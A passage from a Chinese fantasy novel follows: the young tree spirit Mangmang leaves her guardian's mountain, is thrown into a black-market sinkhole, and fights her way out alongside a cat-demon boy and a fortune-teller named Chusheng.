闻言,杧杧立马趴下半个身子探出去看,果然看见浅浅的潭水下,她种下雪莲的地方,有两根细细的绿芽。 “那我是不是可以开始给它们注灵力了?”杧杧抬起头,满脸笑容,眼睛亮亮的,语气里的兴奋快要溢出。 “嗯。” 杧杧高兴极了,毕竟是自己种出来的东西。她连忙双手结印,分别给一南一北两根幼苗注了些灵力。 因为有了雪莲和小白(杧杧给兔子取的名字),杧杧更忙了,白天要练字温书,养花喂兔子。到晚上吃过晚饭后,就要在院子打坐修行。 雪杧树喜夜,在夜晚修行有天生优势。 对了,除此之外她还要喝长生水、泡药浴。 想想每天的安排,再跟常朔比起来,杧杧觉得自己真是太累了!连玩儿纸人的时间都大大缩减。 要说玩儿纸人,自从杧杧在常朔的书房里翻到一本《人间怨偶集》,就喜欢上这些情情爱爱的故事,常常为故事里爱而不得的主角感到伤心。 因为记性好,她不光看,还记得十分深刻,连人物台词都记得分毫不差。 平日里常朔喝茶打毛线时,杧杧自己玩着玩着嘴里就突然冒出一两句台词,念着念着激动了就唱出来,配合着动作边唱边舞。 她不仅演,还喜欢自己编。什么道士爱上女鬼后为爱英勇赴黄泉啦,将军爱上公主却战死沙场公主殉情啦…… 常朔本也没说什么,觉得小丫头吵吵闹闹挺好玩儿的。 直到有一次,杧杧舞得忘情,撞到正在喝茶的常朔。 杧杧嘴上赔礼道歉,极为诚恳,其实下一次唱高兴了还是会碰着常朔。这时候常朔要么在喝茶,要么在打毛线,要么正躺在藤椅上闭目养神。 如此数回过后,常朔终于无奈,给了杧杧两张纸人,教她怎样控制。这种低阶傀儡术简单,杧杧多练几次就会了。 有了纸人,杧杧玩得更开心。有时躺上床准备睡觉了,脑子里突然想到一个故事,又赶紧爬起来拿出纸人开始玩。为了不吵醒常朔,杧杧便跑到乾坤袋里。只是有时候不小心把口袋拉紧了会出不去。 《人间怨偶集》的所有故事里,杧杧最喜欢的就是秦娘与楚生。 秦娘和楚生是邻居,青梅竹马,两小无猜。楚生为了考功名要离开家去很远的京都,秦娘舍不得楚生,却不得不分开。 在楚生离家的前一晚,两人促膝长谈,交换信物约定终生。 楚生许诺秦娘,待他高中,一定十里红妆,八抬大轿来迎娶她。 第二天楚生踏上去京都的路。只剩秦娘站在家门口哭红了眼。 秦娘长得漂亮,楚生一走,村里觊觎秦娘的人胆子大起来,日日来骚扰,加之她对楚生的思念越来越深,终于有一日,秦娘再也忍受不了,准备去京都找楚生。 京都路迢迢,秦娘路上遇到劫匪,钱被抢光了,劫匪见她长得好看,要抢她回去做夫人,秦娘不愿被人糟蹋,最终含泪自刎。 一年后,楚生高中探花,他回到家乡,本打算按之前说好的,要风风光光娶秦娘过门,却得知秦娘死讯。楚生深受打击,一蹶不振。 县令大人得知楚生就是新晋探花郎,要将女儿许配给他。楚生自然不能同意。县令大人十分生气,他要挟楚生,如果不娶,便关了他们家的铺子,教他们做不了生意。 楚生气愤又郁闷,失去秦娘本就让他心如死灰,若再叫他另娶她人,只怕比死更难受。 对啊,只要他死了,就能见到秦娘了! 于是,楚生跳进河里自杀了。 在地府,楚生找到奈何桥边的秦娘。她一直在哪儿等他。 见了楚生,秦娘所有的委屈倾肠倒腹。 “你这冷心薄情的负心汉,怎叫我心碎断了肠!” 原来是秦娘的鬼魂在人间四处飘散,得知县令要将女儿嫁给楚生,一时间又伤心又气愤,见了楚生便发起小脾气,责怪埋怨道。 楚生向秦娘解释清楚,二人重归于好。 但秦娘在人间飘荡的时间太久,已经错过转世投胎的时机,她凭着一份执念等到楚生,最终心愿达成,魂飞魄散了。 秦娘怕楚生同她一样,在消散之前,用尽所有力气把他推下奈何桥,送他往生去了。 “可楚生没有喝孟婆汤,受到诅咒,从此,他每轮转世都带着和秦娘的回忆,每一生都孤独终老。” 杧杧蹲在兔子窝前,给小白喂萝卜时,给它讲起这个故事,故事讲完杧杧也红了眼眶。 “小白小白,你说秦娘和楚生是不是太可怜了?”杧杧摸着兔子,自顾自讲。 小白当然不懂这些,它虽是兔子精,却修为低下,口不能言,与普通兔子无异。 喂完兔子,杧杧又去观察雪莲。她坐在平台边,双腿在半空摇荡。 正出神,突然背后一声巨响。 杧杧吓了一跳,回头看去。只见兔子窝里早已没了兔子,而书房的门开着。 这时候是快要吃晚饭的时间,常朔在另一头的厨房里忙活,没注意到这边的动静。杧杧赶紧跑过去看。 书房里一架书柜旁,散落一地的书,罪魁祸首就在蜷缩在一旁,瑟瑟发抖。 “小白,你没事吧?”杧杧跑过去把兔子抱起来,检查它有没有受伤。 小白在杧杧的安抚下逐渐平静下来。杧杧不知它怎的突然受这么大刺激,抱着兔子跑去它窝跟前一看,根本没有什么东西。 “没事了小白,你去玩吧。”杧杧把小白放进它的窝里,又给它拿了胡萝卜。 照顾好小白情绪,杧杧重新走回书房。 书房里的地上还躺着被小白撞掉的书,杧杧一本本捡起来放回书架上。蓦地,她注意到其中一本有些发旧的书。 书封破损严重,没有书名,内页泛黄,有好些都粘在一起。杧杧看了会儿,才发现这像是一个日记本。本子的主人应当是个同她心性差不多的女孩子。 杧杧连忙关上书放回书架上,有种窥探了别人秘密的愧疚感。她心里也有了计较。 一连想了好几天,杧杧还是决定要跟常朔说说。 晚饭时候,杧杧帮着布菜,然后坐到桌前。今天的菜式看着颜色正常了些。 吃饭时,杧杧时不时抬眼看对面的常朔。常朔告诉过她,“食不言”,因此杧杧没有吃饭说话的习惯。 只是她心里憋着话,心思全写在脸上。 “怎么了?”常朔终于无法忽视她直白的目光,问道。 杧杧匆忙咽下嘴里的饭菜,放下筷子。 “阿朔,我想下山玩儿。”杧杧不是吞吞吐吐,藏着掖着的性格,有什么事、什么想要的她都选择直接说,一点不别扭。 闻言,常朔放下手里的菜谱,抬眼看着杧杧。 “什么时候去?” “啊?”杧杧没想到常朔同意得这么快,一时还没反应过来,“没,没想好。” “嗯。”常朔的注意力重新回到菜谱上,“出门时说一声。” 杧杧听他同意了,三两下扒拉完饭菜,兴高采烈地跑回房间收拾行李了。 想下山玩不是突然兴起。 杧杧从前读《人间怨偶集》的时候就幻想过山下的世界,那日看了日记,里面写了好多人间趣事,勾得杧杧心痒痒。原本也只是想试探一下,没想到常朔还真答应了。 次日,杧杧已经收拾好行装,准备出发了。 临行前,她去给常朔告别。 “这是钱,记好了下山去可以用它买吃的;这是火符、定身符……”常朔给杧杧装了许多杂七杂八的东西。 满满当当,乾坤袋差点被塞满。 杧杧哭笑不得,她谢过常朔,刚要踏出院门,又被叫住。 只见常朔二指并拢,指向平静的水面,从水里引出一团蛋黄大小的水球。他指尖神力不断飞出,嘴里念着法咒,那水球悬浮在半空中已经长成一个圆环大小。 圆环飞向杧杧,固定在她左手手腕处,闪烁几下,又隐藏起来,手背上显出一个水纹印记。 “若有危险,用水环唤我。” “我知道啦!”杧杧笑得爽朗,阿朔面上一脸不在意,其实很担心她吧? “阿朔,小白和雪莲拜托你帮忙照顾!” “嗯。”常朔还是一脸冷酷的样子,朝杧杧摆摆手,就回屋去了。 杧杧立在原地,看了会儿他的背影,这才转身往山下走去。 木屋内常朔立在窗边,遥遥望着杧杧离去的背影渐行渐远。 家里少了个人,一下子清净起来,常朔没觉得有什么,从前都是这样过来的。他给兔子丢了几片菜叶子,就坐回藤椅上继续拾起越来越熟练的针线活。 - 话说杧杧下了山,一时却不知往哪里走。 她虽在书本里看到好多好玩的地方,但没人告诉她要怎么走啊! 杧杧思索一阵,决定先去冀苍妖市,先出发吧,遇上人再问问。一想到待会儿要向人问路,杧杧竟有些激动紧张。 毕竟,这可是她第一次见到北丏山以外别的人! “喂,妖市怎么走?” 不对要礼貌一点。 “那个,真抱歉,我打扰了,麻烦请问一下妖市怎么走?” 再干脆一点。 “你好,请问妖市该怎么走?” 杧杧边走边念叨,自言自语练习若是碰到人,要怎么问路。只是她没发现,手上的水纹印记正隐隐发光。 “怎么都没有遇到人?”杧杧走了好一阵也没见着个人影。她以为自己已经走得够远了,其实才堪堪到山脚下,连最近一座小村庄都没到。 “好想去妖市,要 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杧杧往前走。街道两旁的妖怪见杧杧一身格格不入的装扮,都稀奇地把她往铺子前拉。 “菇凉嘶,来瞧瞧俺的驻颜丹吧嘶!每日一颗,可养颜美容嘶,保你皮肤光洁水润,吹弹可破嘶!”杧杧侧头去看,是一只蛇妖,人身蛇头,说话时不断吐出蛇信子。 杧杧对美容不感兴趣,扭头就走。 “客官,买头吗?咱这儿有人头、猪头、牛头……”这是一个无头男,裸着上身,颈部切口平整,还在不断涌血来,需要时不时擦一下。他没有头也不知从哪儿发出的声音,听上去十分低沉。 杧杧也没有买头的打算,也不做理会。 “小妹,侬糕点心吃伐?”这回,是个美艳的女妖,她浓妆艳抹,穿着性感,正招呼杧杧,她卖的东西看着到正常。 可惜杧杧也没有吃糕点的想法。 她继续往前,不知走了多久,街上渐渐冷清下来。这边不似来时路上那么热闹,只有零零星星几家商店开着门,街道上的小摊贩也少了许多。 走着走着,杧杧正考虑要不要往回走时,瞧见前方一面旗帜。 说是旗帜,其实就是一根竹竿上插了一块布,布上写着“算命”二字。布虽破,字却写的好极了。 再看那摊主,虽穿得普通,却十分干净整洁,正支着脑袋看书,还是个俊俏的小郎君。 一路看了这么多稀奇古怪的妖,蓦地见了这样一张俊秀的脸,杧杧不免好奇。 她走上前去,站定在摊位前。 那摊主却没发现来了人似的,仍旧埋头苦读。 “你好?”杧杧出声提醒,他这才抬起头。 “姑,姑娘可是要算命?” “你能算什么呀?” “禄命、寿夭、子嗣、财富、流年运势,都能算。”算命先生笑着说。 “不能算姻缘吗?” 算命先生顿了顿,眉头有一瞬间轻微皱起,又很快展平。 “抱歉。” 杧杧想了想,从包里拿出一锭金子递给他,笑说:“那你算算我的流年运势如何。” 算命先生大惊失色,像是从没见过这么多钱。 “这这这,姑娘,在下补不起你的钱。” “没关系。”杧杧不懂他说的补不起是什么意思,见他一脸歉意,反而宽慰道。 “不行的,君子爱财取之有道。在下凭一点微薄本事赚钱,该是多少就是多少,绝不多拿也不少拿。” 杧杧听不懂他说的话,只觉得这妖奇怪,客人给他钱却不要,哪有这样的道理? 僵持间,杧杧欲劝他收钱,还未开口就被人撞了下。 那人撞了她一句道歉都没有。 杧杧赶紧转头看去,只见他佝偻着背,脚步匆匆。 “姑娘,他抢走了你的钱。” 不用他提醒,杧杧也感觉到手上重量不对,她回头一看,手里哪还有金子? “那也是你的钱,等着我去追回来!” 杧杧说完,健步如飞跟上去,算命先生被远远甩在身后。 听杧杧那般肯定的语气,算命先生想说什么,话到嘴边只是说:“姑娘小心!” 杧杧在山里跑惯了的,追个小偷不成问题。即使跑到热闹地带,杧杧也穿梭灵活。 眼看着越来越近,这时,那小偷突然脚步一拐,窜进一处小巷子里。 那小巷子里没有灯,越往里走越黑,杧杧夜视能力不错,看得清楚。 “站住!小偷还我钱来。” 前面没了路,小偷只得停下。他回头看了杧杧一眼,勾起一道似笑非笑的唇角,猛地转身,一头撞进墙里。 杧杧犹豫一刻,也跟着撞过去。 5. 碎成泥 撞进墙里后,杧杧似乎来到一处陌生空间,这儿比巷子里还黑,她竟有些看不清,只能判断出自己在一条甬道里。 往前走了几步,杧杧感受到前方的亮光,渐渐能看清楚路,她朝亮光处走去。 路越来越开阔,走到尽头后,映入眼帘的是一方高不见顶深不见底的天坑。 人工凿出来的一人宽的路一层一层盘旋在石壁上,每隔一段距离就连接一个洞口,这些洞口通过索道互相连接,整个天坑像个盘丝洞。 “让让,让让,堵在这儿干嘛呢!” 杧杧错身让开,只见身后是拉着辆木板车的青蛙怪,车上载了两桶腥臭的鱼。 青蛙怪绕过杧杧,他站在路边,往脚边一个小坑里扔了块铜钱,不多时,下面升上来一块木板,看样子只够一个人站。 正当杧杧思考他要怎样把车一起走时,那青蛙怪伸出长舌一卷,将木板车和木桶一整个塞进肚子里,便乘着木板在索道上穿梭,进了另一个洞口。 杧杧目瞪口呆,确实没想到是这样的。 青蛙怪之后,这个天坑仿佛一下子热闹起来,形形色色的妖怪、人类,甚至修仙者、鬼魂,都在索道上四处穿梭。 知道怎样在这里通行后,杧杧也站到刚才青蛙怪站过的位置,从乾坤袋里掏出一小块金子丢进去。 几乎是丢下去的瞬间,就升上来一辆座椅。没错,并且是一辆黄金座椅。 杧杧试探地坐上去,还没坐稳,座椅就沿着索道直直往上走。杧杧差点摔下去,好在她立即抓稳了扶手。 行进速度很快,不久后,座椅便停在一个洞口外。杧杧下了“车”。她这时已经在很高的位置了,朝下望甚至看不见先前站的地方。 这上面洞口稀疏了不少,几乎没有人在这上面穿行。 杧杧走进洞里,走过一节不长的的甬道后,又是一番豁然开朗的景象。 这里像是一间会客厅,装潢布置比北丏山的水榭好到不知哪里去了。 虽在洞内,却有水池假山,茶几、屏风更是样样不少。 杧杧不知那黄金座椅把她送到这儿来干嘛,她在这里逛了逛,桌子椅子都一尘不染,花几上摆放的稀奇古怪的盆栽也被照顾得很好。 突然,杧杧背脊一阵发凉。这感觉太熟悉了,每次背脊发凉,就会有不好的事发生。她连忙给自己贴上隐身符,躲到一旁假山后面。 隐身符顾名思义隐身,身型、气息通通能隐藏。 果然,就在杧杧刚躲进去后,洞口又进来两个人。其中一个手持折扇,面上戴着鬼怪面具。另一个身着黑袍,头戴斗笠,背对杧杧而站。 那两人说话声音小,杧杧听得不太清楚,她探出身子,零零星星能听到几个字词。 “……上一批……三十六洞……” “…知道了。” “嗯……有人。” 杧杧下意识藏回去,努力稳住心神。听着脚步声的动向,应当是有个人离开了。而另一个人,现在还站在原地。 刚要松一口气,突然,脚步声再次响起,越来越近,但只走了几步又消失。杧杧有些疑惑,想探头出去再看一眼。 “抓住你了!” 一个人影突然跳到她面前。 杧杧下意识要尖叫,又赶紧捂住嘴。她盯着近在咫尺的鬼怪面具,思考要怎样逃出去。 “哈哈哈。”那人仿佛见到什么好玩的东西,从杧杧身后的假山上摘下一朵花别再耳后,展开扇子遮住下半张面具脸,大笑起来。 杧杧乘机往洞口处跑。 回头望时,面具人仍旧在原地大笑。 杧杧跑出去后,就要从乾坤袋里拿金块投进小坑里,还没来得及拿出来就被人从背后推了一把,往下掉去。 她耳边穿行着风,听不见别的声音了,回头望去,只见那原本为哭脸的鬼怪面具竟露出狰狞的笑容。 天坑里纵横交错着索道,上面还有穿行的妖怪。杧杧被撞得晕过去,连自己什么时候落到地上都不清楚,在昏迷前也只觉得下落过程好漫长。 梦中世界迷离魔幻,身体却一点也动弹不得。 杧杧站在一片雪原上,四周空荡荡的,天上正飘着雪花。奇怪的是,杧杧居然感觉到冷,她以往从不怕冷的,这会儿却被冻得瑟瑟发抖。 偏偏她好像被定住了似的,像根木头桩子杵在原地。站了许久,杧杧有些困。 风雪越来越大,冷风刮在脸上如刀割,渐渐地,眼睛也被风雪迷得看不清。 她疲惫地闭上眼。 “杧杧!” 谁在叫她? 杧杧睁眼看了看,视线范围内没有人,有的只是雪,很大的雪。 她正欲再次睡去。 “杧杧!” 声音再次出现。 这回,杧杧隐约看见前方黑黝黝的有棵树。 越来越近,越来越近。直到她能清晰看见,原来不是树,是位佝偻着身躯的老人。 爷爷! 杧杧看清楚了老人的脸,是凛! 可她说不出话,喉咙像被人割破了似的,发不出一点声音。杧杧着急地眼泪掉下来,她多想见见爷爷,多想同爷爷说说话。 凛站在离杧杧还有三步远的距离就不动了。杧杧的眼泪越来越汹涌,一定是爷爷没见过她长大的样子,才没认出来的。 雪太大了,像羽毛一样一直飞一直飞,又像石子,落在身上砸得生疼。 杧杧看着那张苍老的面孔越来越模糊,她急得不行,可是又无能为力。 为什么?为什么在梦里也不让她同爷爷说说话,也不让她如愿? 终于,凛彻底被大雪淹没。 “啊啊啊!”杧杧冲破束缚般崩溃大叫。 风雪掩盖了一切,她猛然惊醒。 杧杧的头像是要炸裂开来,她重重地喘息,一点点挪动僵硬的头部四处张望。 这是另外一个岩洞,岩壁上亮着闪烁的烛火,昏昏暗暗,一点不似方才的会客厅明亮。气味也相当难闻。血腥味、汗味以及排泄物的气味混杂在一起,杧杧一阵恶心。 好在没死。 应当是她在坠落时紧急从包里翻出防摔符、吊命符、治愈符(这种直白的名字当然是杧杧方便记忆想出来的)起了作用,才不至于摔死。 “咦,你醒啦?” 杧杧转过头,面前是一张占满泥土的脸,瞧着是个年纪不大的少年,十五六岁,他头发乱糟糟,衣服也破破烂烂,眼睛却十分明亮。 本来想问点问题,可喉咙间是干的,她说不出来话,下意识吞咽的口水也是铁锈味。 杧杧手臂撑着地面,在少年的搀扶下坐起来。她摸了摸腰间,乾坤袋没有丢,只是有些磨损。她的样子比那少年好看不了多少,浑身都是血,看不清模样,但是没有伤。 洞里不只有他们两个,缩在角落里的男女老少,仙妖人兽皆有。 “他们都是黑市主抓来的奴隶。”那少年向杧杧解释道。 仔细一看,那些奴隶双眼空洞,保持一个动作呆滞地缩在角落里,不说他们是活的,还以为是一堆石头。 杧杧口渴得不行,从包里找出水壶,一口气灌了半壶下去,感觉好了不少。 “你是谁?”杧杧问。 “我叫木秋宜,在家中排行第四,你可以叫我木四。” 好秀气的名字。杧杧想。 “我晕过去多久了?” “从我捡到你到现在,好几天了吧!”木秋宜很兴奋的样子,“你恢复得好快!我本来以为你肯定活不成了,毕竟骨头都摔断了!” “谢谢你,我叫杧杧。” “诶,你为什么会从上面掉下来?”木秋宜好奇道。 杧杧把她从抓小偷到被推下来整个过程简单说了下,自己说完都觉得自己命大,她本来也觉得自己怕是活不成了。 忽然想起常朔,杧杧扒开袖子看了眼手背上的水纹印记。 “ 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“除你身旁那个,其他都是活死人,不用管。” “活死人?” “嗯,被抽干魂魄,肉身不死的一种傀儡,与死人无异。” 杧杧有些惊讶,她转头过去看那些“活死人”,脸上没有意思表情,即使身处这样又脏又乱的地方,也全然没有痛苦难过之色。 她心知这些人没法救了,便从地上爬起来,拍拍衣服上拍不干净的灰尘。 “你干嘛?” “出去。” 木秋宜刚才一直在观察杧杧,见她埋着头一句话都不说,还以为摔傻了,现在一听,更加肯定这姑娘是摔傻了。 “木四,你要跟我一起走吗?” “走?来了这儿就别想走了,根本没可能。我都不知被关在这儿多久了。 “这坑里地形复杂,光是洞口就有几百个,黑市买卖场更是数不胜数。且每个洞口都通向不同的地方,能出去固然好,若不小心进了某个买卖场,那才叫完蛋。” 木秋宜靠在石壁上,神色晦暗,“你也瞧见这些人了,他们全都是被抽干了灵魂的! “那妖怪每个月都会送来一批新的奴隶,然后就在这儿生生抽取他们的魂魄,我可是亲眼所见!对,那个妖怪也带着哭脸鬼面!” 听他这么说,杧杧判定这两个应当是同一人。 “你是怎么活下来的?”杧杧又问。 “简单,我有种药丸,吃了会陷入假死状态,能维持三天,完全够躲过那妖怪。”木秋宜神神秘秘地说,“更厉害的是,这种假死状态发作起来跟那群被抽了灵魂的奴隶一个样,他自然分不出来。 “不过,我的药也快吃完了,不知还能熬多久。”木秋宜说到这儿,叹了口气。 杧杧从没听说过这种药,又在心里跟常朔求证一番。 “听说过。”常朔道,“带他一起万事小心。” “嗯!”杧杧跟常朔聊完,又去跟木秋宜说话。 “既然这样,你还是跟我一起走吧!总不能一辈子困在这里,我们肯定能出去的!” 见杧杧肯定的样子,木秋宜有些心动。 “行。”说着,木秋宜动手解开了他脚上的镣铐。 刚想去找块石头什么的帮木秋宜砸开镣铐的杧杧见状,不由得一愣。 “厉害吧?我的看家本领。以前我爹栓我比这还狠,次数多了也就知道怎么开了。”木秋宜说到这儿,先前还神气的脸又有些垮下来,不过很快,他又恢复一脸笑嘻嘻的模样。 正当他们准备离开时,那些石头般的活死人,突然有了动作。只见原本靠在石壁上或坐着或躺着的活死人,此刻全都站起身来,朝他们走去。 “不是说他们与死人无异吗?”杧杧皱起眉。 “有人在操控这些活死人!” 6. 活死人 有人在操控这些活死人! 常朔说完,杧杧一阵心惊,莫非背后操纵者是那个哭脸鬼面? 眼见这些活死人越聚越多,有些已经去堵住了洞口。 杧杧本就灵力低微,常朔又非武神,教她的都是些如何控制灵力、如何运用灵力之类的基础法术,打架什么的一点不会,这该如何是好? “没事,这些奴隶蠢得要死,咱们打出去。”木秋宜说道。 杧杧连忙表示否定,这么多人呢,要打出去真的可能吗?况且她完全不会打架! “不会打,总会躲。” 常朔的声音冷不丁响起。对哦,他现在能听见自己的心声。 至于躲嘛,她自然擅长,之前的雪怪不就是躲过去的吗! “不行,数量太多,还没出去就被累死了。”杧杧对木秋宜说,“用我的隐身符!” 杧杧说着要去拿,好巧不巧,隐身符不知是不是在下落过程中掉出来了,现在只剩下一张,只够一个人用。 “……我还是打吧。”木秋宜刚说完,就有一具活死人挥舞着拳头冲上来,他紧跟着也挥出拳头迎战。 杧杧这边也不断有活死人冲上来,她只好从乾坤袋里找能用的武器。不管三七二十一抓到符纸就是扔,又是火符又是雷符,吓得那些活死人不敢上前。 常朔给的符纸当然威力巨大,被扔中的要么烧成灰要么被炸成焦炭。 这么个打法起先看上去是有点用,但很快两人渐渐落于下风。 活死人数量太多了,又是些不怕疼、不要命的,不是致命伤对他们根本没有影响。饶是杧杧符纸再多,也总有扔完的时候,况且木秋宜没有武器,打起来更吃力。 于是她想找点能拿着打架的武器。终于,杧杧抓到底下一块硬物,拿出来一看,是把铲子。 算了,能用! 杧杧把铲子丢给木秋宜。 “木四,接着!” 木秋宜抽手接过铲子,总归是有个武器,打起来方便了许多。 眼见刚刚击退的活死人身后又来了新的,杧杧继续仍包里的符纸。 “木四,往这边退!”杧杧扔着符纸,生生炸开一条路。 “好!” 在两人即将退出去时,杧杧认准时机举起左手,手背上飞出一丝白光,集中岩洞上方岩石,整个岩洞瞬间坍塌。 杧杧赶紧拉住木秋宜往外跑,在岩洞彻底坍塌前跑出去了。 “卧槽?!你有这实力不早说?”木秋宜一整个震惊。 杧杧笑了笑,这可不是她干的。 “你也挺厉害啊。” “开玩笑,我山猫族有的是力气!”木秋宜笑说,很快他又苦恼,“可是我们要怎样上去?” 杧杧也发愁。 这个奴隶洞在整个天坑最底部,没有密道、出口,也根本没有索道经过这里,若非有绝世轻功,或者极强悍的灵力托举,就是放根绳子下来爬上去也难。 “阿朔,你有办法上去吗?” “我只能带你一个。” 先前说了,要上去除非有绝世轻功或者极强悍的灵力,杧杧虽然两个都没有,可常朔有啊!常朔的神力既然能通过她手上的印记发出来击打岩洞,那就能带着杧杧飞上去。只是杧杧太弱,能用出来的力量有限,否则她非被榨干不可。 并且还需要一样工具—她得有个站脚的地方。而杧杧的树叶刚好能承受她自己的重量。可如今多了个木秋宜,树叶不一定能承受住,搞不好半路就会裂开。 “或许我能试试叠两片树叶。” 然而此举危险,两片树叶需要的灵力自然更多,更不易掌控。 常朔沉声道:“杧杧,我没义务救他。” “可你不是神仙吗?” 是神仙的话,为何不能救? “一来世间人自有各自命数,若样样插手,岂不累死?二来他并未求助于我,施恩不图报,不是我的作风。”常朔耐心解释。 这话说得也不无道理,常朔一贯冷静、客观,这样的特质甚至让杧杧一度觉得他是自私的。 可无私与自私的范围要怎样界定?人们规定神一定要无私,常朔却从来不需要这种道德约束,他有自己的一套规则,任务就是保证没人能打破这一规则。 杧杧泄了气,她知道常朔不想做的事从来没人能逼他去做,只好另想办法上去。 一旁的木秋宜见她又不说话,以为是伤到了,有些紧张地问:“没事吧?” 杧杧回过神,朝他摇摇头。 两人徘徊在坑底,正当一筹莫展之时,上面又落个身影下来,杧杧和木秋宜立即戒备。 只见那人落下后稳稳地站在地面上,轻轻拍去衣服上沾上的灰尘。 “是你,算命先生!”杧杧在看清来人的脸后,一下放松下来,不知怎的,她就是没有理由地相信这位算命先生不会害自己。 “许久不见,姑娘可还好?”算命先生问。 “不太好,”杧杧走上前去搭话,“先生怎会来此?” 算命先生哈哈笑了两声,“在下不才,略通占卜之术。算到与姑娘缘分未尽,便前来相救。” 杧杧嘴角抽了抽,好随便……说得好像这地方他能想来就来想走就走似的! “那我们要……”怎样出去? 杧杧话还没说完,早已坍塌的洞口那边传来异响,只听“砰”的一声,堵住洞口的碎石被炸飞,杧杧三人灵活躲避,不至于被砸到。 “我去?”木秋宜瞪大了双眼。 “这是何物?”算命先生疑惑。 “……”杧杧此时目瞪口呆,根本无暇回答他的问题。 怎么还没弄死?! 被炸开的洞口处,走出来几具活死人,看样子都是妖怪做的。人应当被落石砸碎了没办法起来,可这些妖怪不一样! 妖怪们天生皮糙肉厚,更不消说这里面的有些妖怪修为并不低。若非沦为活死人,智商和行动力有限,就凭杧杧和木秋宜两人方才胡乱打一通,根本是给他们挠痒痒还嫌烦。 这些活死人可不会给你闲聊的时间,三人被分开来。 杧杧为迎敌,从包里抓出一根树枝,试了试自己的灵力,仅有的一点都恢复了。 “大!”杧杧随即给树枝注入灵力,那细长的树枝立马长粗长壮,握在手里能当木棍使,她握着木棍对着冲过来的一具满脸长毛的活死人一棍子抡下去。 这一棍子可不得了,直接给那长毛怪抡飞了。只见杧杧挥下去的一瞬间,手里的棍子突然泛起白光,变得有千斤重,她差点要拿不住。 “多谢阿朔!” 有了常朔的助力,杧杧这边打怪跟玩儿似的。只见她先是一棍子捅飞首先冲上来的那只,紧接着一个大横扫,结合常朔神力加持,把这些活死人扫开老远。 一旁木秋宜拿着铲子搏斗略显滑稽,而算命先生则玩起迂回战术,妖怪来,他便躲。 “把他们的头跟身体分离。”常朔说道。 杧杧犹豫一下,她长到现在,连只兔子都没杀过!当然也因为北丏山就那一只兔子,还被她养的好好的。 “我,我……”杧杧光是想象一下那个画面就胆战心惊。 闻言,常朔叹了口气,“那就打晕,乘机逃走。那人轻功不错,跟紧他。” 那人指的当然是算命先生。 “嗯!”杧杧尽量冷静应付。 只是面前这波还没打完,洞口里又爬出几只。 有完没完! 打了这么久,杧杧觉得自己手都软了。手背上印记处渐渐有些发热,整条左臂隐隐作痛。 “姑娘,在下先带你们上去吧!数量太多了,凭我们三个完全应付不过来啊!” “好。”杧杧和木秋宜齐声应道,来不及细想,两人朝算命先生那边跑去。 杧杧跑到算命先生身边,刚打飞一个,丢下棍子,就觉自己衣领被人抓住,随即双脚离地,活死人离自己越来越远。 她飞起来了?!先生好轻功! 不过下一秒,三人又被拉回去。 其中一具被砸烂了脸的活死人像是有极大的怨念,拉住木秋宜不放手,生生把三人给拽下去了。 木秋宜一脚把他踢飞,又扔出铲子,直直砍在他脖子处。赶在其他活死人重新追上来之前,算命先生再次提起两人往上飞去。 落到地面上后,三人都累得倒坐在地上,大口喘气。 “先生,看不出来你这么厉害!”杧杧笑说。 “哈哈,惭愧惭愧,在下从前拜过一位师父,可惜我没有修炼的天赋,只从他老人家那里学会了轻功和一点算命的本事。” “你谦虚啦。对了,我叫杧杧,他是木秋宜,”杧杧慢慢缓过气来,“认识这么久,我还不知道先生你叫什么呢?” 木秋宜朝算命先生笑了笑,就是有些假。他累得支撑不住,干脆躺地上。 “在下名叫楚生。” 楚生……楚生!莫非是…… 杧杧一下就激动了,她坐起来,问道:“你可认识秦娘?” 楚生闻言愣住,他眼中闪过一丝悲泣。 “你,你知我与秦娘?” “是啊是啊,我可喜欢你们的故事了。”杧杧激动坏了,她还以为楚生与秦娘只是话本子里杜撰的人物,没想到他们是真实存在的。 “你俩很熟?”木秋宜疑惑。 “我熟悉他而已。”杧杧回答完还想再问时,天坑对面小道上传来一声尖叫。 “在那儿!那个骗子在那儿,给我追!” 杧杧转头看去,一个瘦瘦小小、擦脂抹粉的青年尖着嗓子喊着,他身后的洞口内走出来三名猛壮大汉。 “坏了。”楚生连忙起身,又把一旁累得差点睡过去的木秋宜拉起来。 “我们先出去。”楚生说,“走!” 三人朝不远处的洞口跑去。 “喂,你知道从哪儿出去吗就跑?”木秋宜道。 “在下从未算错过。”楚生答道。 木秋宜不再说话,现在也只能赌一把。 杧杧回头看,那三名大汉已经脚踏木板,在索道上滑行,快要过来了。 也不知楚生跟他们有什么深仇大怨,杧杧此时也不敢多问,只跟着跑。 洞口近在咫尺,身后三名大汉穷追不舍。 “阿朔,你能帮我击中他们吗?” “你的身体恐怕承受不住。” 的确,杧杧刚才握着木棍打得到痛快,可是打完才发现,自己使不出一点灵力了。虽然有常朔助阵,通过水纹印记将神力传给她,但杧杧毕竟只是个小树妖,还是个弱得不行的小树妖。 现在要是再来几发,她怕是能当场爆体而亡。 好在三人及时跑了出去。 “先生,他们不会追出来吗?” “不会,这个洞口是一个传送通道,每次随机传送,目的地并不固定。”楚生向她解释。 “所以我们现在在哪儿?”杧杧问。 楚生观察了下四周地形,“我们运气好,前面不远处就是妖市了。” 现在是晚上,一轮明月高悬在空中,他们身处在一片山林里,空气清新得不得了。 杧杧长舒一口气,“啊,还是外面舒服!” 木秋宜沉默着,看着楚生的眼神有些戒备。 刚刚经历一次战斗,杧杧这才想起来,自己身上脏得不行,还到处都是血污。 “二位不如去我家坐坐,换一身干净的衣服,再做打算?”楚生仿佛能看穿她心中所想。 “好啊。”杧杧道,“多谢你了。” 三人往楚生家走去。 “喂,你真信他不会害我们?”路上,木秋宜低声对杧杧说,“这个人怎么看怎么怪异,救人全靠缘分,逃命全靠占卜?” “可他算的很准不是吗?” “万一他是别有用心!” “我信他,就像信你一样。”杧杧道。 木秋宜没话可说了。 楚生家就在妖市附近,一座不大的茅草屋,两间卧房,一间堂屋。 篱笆围成的院子里养了几只鸡,鸡舍和茅草屋之间拉了跟晾衣绳,晒了几件旧衣服。楚生这一世虽为妖,却还按人类的方式生活。 刚走进院子,杧杧忽然想到什么。 “啊!”她一脸愧疚地对楚生说,“我忘记追小偷了。” 闻言,楚生被逗笑了,他安慰杧杧没关系,钱丢了可以再赚,命保住就行。 楚生领他俩进屋,给二人倒了水。 “对了先生,你怎会跟黑市的人扯上关系?”杧杧问。 “说来话长。”楚生答道,“其实我对那个地方也并不非常了解。家母多年疾病缠身,为筹钱买药,迫不得已去了黑市赌场想赚点快钱。 “因略通占卜,回回都能算准,但赌场这地方须得低调, 